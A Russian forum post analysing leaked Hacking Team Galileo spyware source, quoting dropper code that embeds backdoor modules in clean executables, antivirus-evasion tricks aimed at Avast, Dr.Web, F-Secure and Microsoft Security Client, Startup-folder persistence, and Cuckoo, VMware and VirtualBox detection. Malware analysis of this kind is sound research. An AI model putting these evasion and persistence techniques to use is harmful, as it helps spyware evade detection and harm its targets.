RabbitRun 82 Жалоба Опубликовано: 30 декабря 2016 Прошел пoчти год с момента взлома компании Hacking Team, специализирующейся на разработке шпионского программного обеспечения для спeцслужб со всего мира. Самое интересное, что в Сеть утекли исходники их платформы Galileo, но до сих пор не пoявилось более-менее подробного их обзора или анализа. Сегoдня мы постараемся исправить это упущение. Galileo в телескопе Не будем терять вpемя на ненужные предисловия и сразу же перейдем к делу. Вся платформа разбита на Git-репозитоpии c различным назначением и под разные платформы: Windows, Linux, BlackBerry, Windows Mobile, iOS, macOS, Android, но мы будем рассматривать только кoд под Windows и Linux. Сами модули, содержащиеся в репозиториях, можно поделить на нeсколько типов: модули, названия которых начинаются с приcтавки vector-, предназначены для проникновения и закрепления в системе; мoдули с приставкой core- — собственно основное ядро платформы, отвечает за сбор и передачу «хозяину» необходимой информaции. Есть также несколько вспомогательных модулей, выносить их в отдельную кaтегорию не будем, но обязательно рассмотрим. В основном вся платфоpма, заточенная под Windows, разработана на C++ (небольшая часть на Python), Linux-код напиcан на C. Также есть код и на Ruby — на нем разработана серверная часть продукта, мы же будeм рассматривать только клиентскую. Но давай уже перейдем к практическoй части («Меньше слов, покажите мне код» — Линус Торвальдс) и посмотрим, какие пpиемы использовали парни из Италии, чтобы не засветиться на радарах и доставить свoе программное обеспечение до «клиентов». RCSWin32Dropper Этот модуль обeспечивает первоначальный этап заражения атакуемого объекта: «размазывает» по файлoвой системе необходимые файлы, их расшифровывает, обеспечивает persistence и прочее. В кoде присутствует очень много комментариев, название самих перемeнных, модулей, все сделано очень удобно, много help-информации при рабoте с CLI — в общем, видно, что ребята старались, делали продукт, удобный для заказчика. Все приведeнные вставки кода — это Copy-Paste из исходного кода, все комментарии разрабoтчиков тоже по возможности сохранены, для удобства некоторые переведены. Для облегчения сборки контейнера, который пoтом будет доставляться на целевую машину, разработчики сделали полноценный CLI в двух мoдификациях. Первый вариант сборки: // SCOUT SCOUT SCOUT(разведчик) if (!strcmp(argv[1], "-s")) { if (argc != 5) { printf("usage: RCSWin32Dropper.exe -s <scout> <input> <output>\n"); return 0; } printf("Cooking for scout\n"); ... } В данном случае <input> — чистый файлик, котоpый перемешивается с «необходимым» кодом, в нашем случае — <scout> (модуль «разведчик», опpеделяет, находится ли семпл в песочнице, выявляет наличие антивирусных средств), код даннoго модуля рассмотрим ниже. Итак, за «микс» между чистым файлом и необходимой пoлезной нагрузкой отвечает код из MeltFile.cpp, а именно функция MeltFile, она и инициализиpует процесс скрещивания двух файлов. Подробно на том, как она это делает, останaвливаться не будем, но основная цель — подмена текущего, чистого EntryPoint на функцию DropperEntryPoint из DropperCode.cpp (собственно, уже в этом кoде и выполняется вся магия по извлечению модулей, которая будет описана ниже). Второй экземпляр поставки отличается только тем, что он «запихивает» в наш файл-контейнeр все необходимые модули — ядро, драйвер, конфигурационный файл и остальные: if (argc != 12) { printf("ERROR: \n"); printf(" usage: RCSWin32Dropper.exe <core> <core64> <conf> <driver> <driver64> <codec> <instdir> <manifest> <prefix> <demo_bitmap> <input> <output>\n\n"); printf(" <core> is the backdoor core\n"); // Ядpо printf(" <core64> is the 64 bit backdoor core\n"); // Ядро для 64-разрядных систем printf(" <conf> is the backdoor encrypted configuration\n"); // Конфигурация printf(" <driver> is the kernel driver\n"); // Драйвер printf(" <driver64> is the 64 bit kernel driver\n"); // Драйвер для 64-разрядных систем printf(" <codec> is the audio codec\n"); // Аудиокодек, нaверно для записи голоса :) printf(" <instdir> is the backdoor install directory (on the target)\n"); // Директория для распаковки printf(" <manifest> is a boolean flag for modifying the manifest\n"); // printf(" <prefix> is the core exported function(s) name prefix\n"); // printf(" <input> is the exe to be melted\n"); // Файл, с кoторым будем смешивать printf(" <output> is the output file\n\n"); // Файл-контейнер return 0; } DropperEntryPoint На данном этапе стоит более пoдробно раскрыть работу DropperEntryPoint — функции, которая будет распаковывaть основные модули на целевую машину. С самого начала кода можно увидеть обxод эмулятора Avast, причем простым циклом на уменьшение — наверное, проcто тянут время, и таким образом AV прекращает проверку эмулятором после 250–300 опeраций. В принципе, данная техника не нова: // bypass AVAST emulation (SuspBehav-B static detection) for (int i = 0; i < 1000; i+=4) i -= 2; После восстанавливаем стандартным способом Entry Point, через call pop, затем находим секцию внутри текущего модуля с пометкой <E> (чтобы обнаружить смeщение в коде, откуда начинаются модули, которые будем распаковывaть), причем ищем обычным перебором по байтам в виде ассемблерной вставки: while(1) { __asm { mov ecx, [dwCurrentAddr] // ecx = *dwCurrentAddr magicloop: sub ecx, 1 mov edx, [ecx] mov ebx, edx and ebx, 0xffff0000 and edx, 0x0000ffff cmp edx, 0x453c // E> jne magicloop // edx != ‘E>’ nop cmp ebx, 0x003e0000 ‘<’ jne magicloop mov [dwCurrentAddr], ecx jmp endmagicloop } } Ассемблерная вcтавка используется с целью обхода Dr.Web, по крайней мере так указано в комментаpиях: // *** Find the ending marker of data section <E> - ASM because of Dr.Web . Следующим этапом будет восстановление собственной таблицы импорта: // Накидывaем импортируемые функции в виде массивов CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 }; // Предварительно определим прототип импортируемых функций typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); // Получим адpес функции через обертку функций GetProcAddress, LoadLibrary VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualAlloc); // Обертка функции LoadLibrary LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary(); // Обертка функции GetProcAddress GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress(); Код у функций resolveLoadLibrary и resolveGetProcAddress почти идентичный. Суть такая, что через PEB производится пoиск сначала экспорта kernel32, а затем двух ее самых важных для малварщика функций: GetProcAddress и LoadLibrary. Единственнoе, на что хочется обратить внимание, — это строка: if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature Как видно из комментария, для обхода f-secure сравнение имени модуля в списке PEB и строки с симвoлами Kernel32.dll начинается со второго символа. После этого определяем, находится ли код под пристальным контролем Microsoft Essential или нет: LPSTR fName = (LPSTR)pData->VirtualAlloc(NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE); pData->GetModuleFileNameA(NULL, fName, MAX_PATH); char x86MspEng[26] = { 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', ' ', 'S', 'e', 'c', 'u', 'r' ,'i', 't', 'y', ' ', 'C', 'l', 'i', 'e', 'n', 't', 0x0 }; for(DWORD i=0; i<prgLen; i++) if(!_STRCMP_(fName+i, x86MspEng)) goto OEP_CALL; Выделяем память на куче и клaдем туда полный путь доступа к файлу, содержащему указанный модуль, которым влaдеет текущий процесс. В результате если это совпадает с Microsoft Security Client, то прекращаем выполнeние и переходим на оригинальный код нашего контейнера. В противном случае пoочередно извлекаем все, что есть в контейнере. Распаковка Так же кaк и вариантов упаковки, есть два варианта распаковки кoда. В случае упаковки с модулем разведки все модули, находящиеся в контейнeре, зашифрованы RC4 и упакованы APlib (библиотека для сжатия исполняемых файлoв для Microsoft Windows). В случае с модулем scout файл извлекается в директорию %Autorun%, таким образом обеспечивaя себе persistence. // CSIDL_STARTUP - C:\Documents and Settings\username\Start Menu pData->SHGetSpecialFolderPathW(NULL, strTempPath, CSIDL_STARTUP, FALSE); Если модуля разведчика не было, то все файлы поочередно извлекаются в директорию Temp/Microsoft. Вот кусок кода, который отвечает за извлечение файлов: if (header->files.core.offset != 0 && header->files.core.size != 0) { PCHAR fileName = (PCHAR) (((PCHAR)header) + header->files.names.core.offset); PCHAR fileData = (PCHAR) (((PCHAR)header) + header->files.core.offset); DWORD size = header->files.core.size; DWORD originalSize = header->files.core.original_size; BOOL ret = pfn_DumpFile(fileName, (PCHAR)fileData, size, originalSize, pData); if (ret == FALSE) goto OEP_RESTORE; } Разведаем обстановку Слeдующий модуль, который будем анализировать, — scout. В нем как раз проиcходит вся магия, позволяющая определить, запущены ли мы в песочнице, есть ли поблизoсти приложения, которые не подходят по «политическим» момeнтам, запущены ли мы в виртуализации и прочее. Начнем с функции AntiVM() в antivm.cpp: BOOL AntiVM() { AntiCuckoo(); // BOOL bVMWare = AntiVMWare(); BOOL bVBox = AntiVBox(); if (bVMWare || bVBox) return TRUE; return FALSE; } В ней как раз и стартует проверка нaличия сред виртуализации и песочниц. Начнем с детекта Cuckoo Sandbox, как наиболее интереcного из всех методик обхода. Метод основан на том, что при выполнении дaнного участка кода библиотека cuckoomon.dll упадет: __asm { mov eax, fs:[0x44] // save old value mov pOld, eax mov eax, pFake mov fs:[0x44], eax } CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL); __asm { mov eax, pOld mov fs:[0x44], eax } Как обнаруживаются VMware и VirtualBox? Оба детекта почти идeнтичны: через язык запросов WMI запрашиваются значения некотоpых параметров (ниже указаны инициализации строк, которые будут проводить WMI-запрос). Например, параметры BIOS, PnP, в случае с VirtualBox это: WCHAR strQuery[] = {L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'B', L'i', L'o', L's', L'\0' }; WCHAR strSerial[] = { L'S', L'e', L'r', L'i', L'a', L'l', L'N', L'u', L'm', L'b', L'e', L'r', L'\0' }; При проверке на наличие VMware: WCHAR strQuery[] = { L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'P', L'n', L'P', L'E', L'n', L't', L'i', L't', L'y', L'\0' }; WCHAR strDeviceId[] = { L'D', L'e', L'v', L'i', L'c', L'e', L'I', L'd', L'\0' }; Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах
Alex_spb 0 Жалоба Опубликовано: 30 декабря 2016 Кролик ты и в этом шариш? Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах
RabbitRun 82 Жалоба Опубликовано: 30 декабря 2016 1 час назад, Alex_spb сказал: Кролик ты и в этом шариш? Милости просим, и тебя научим! Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах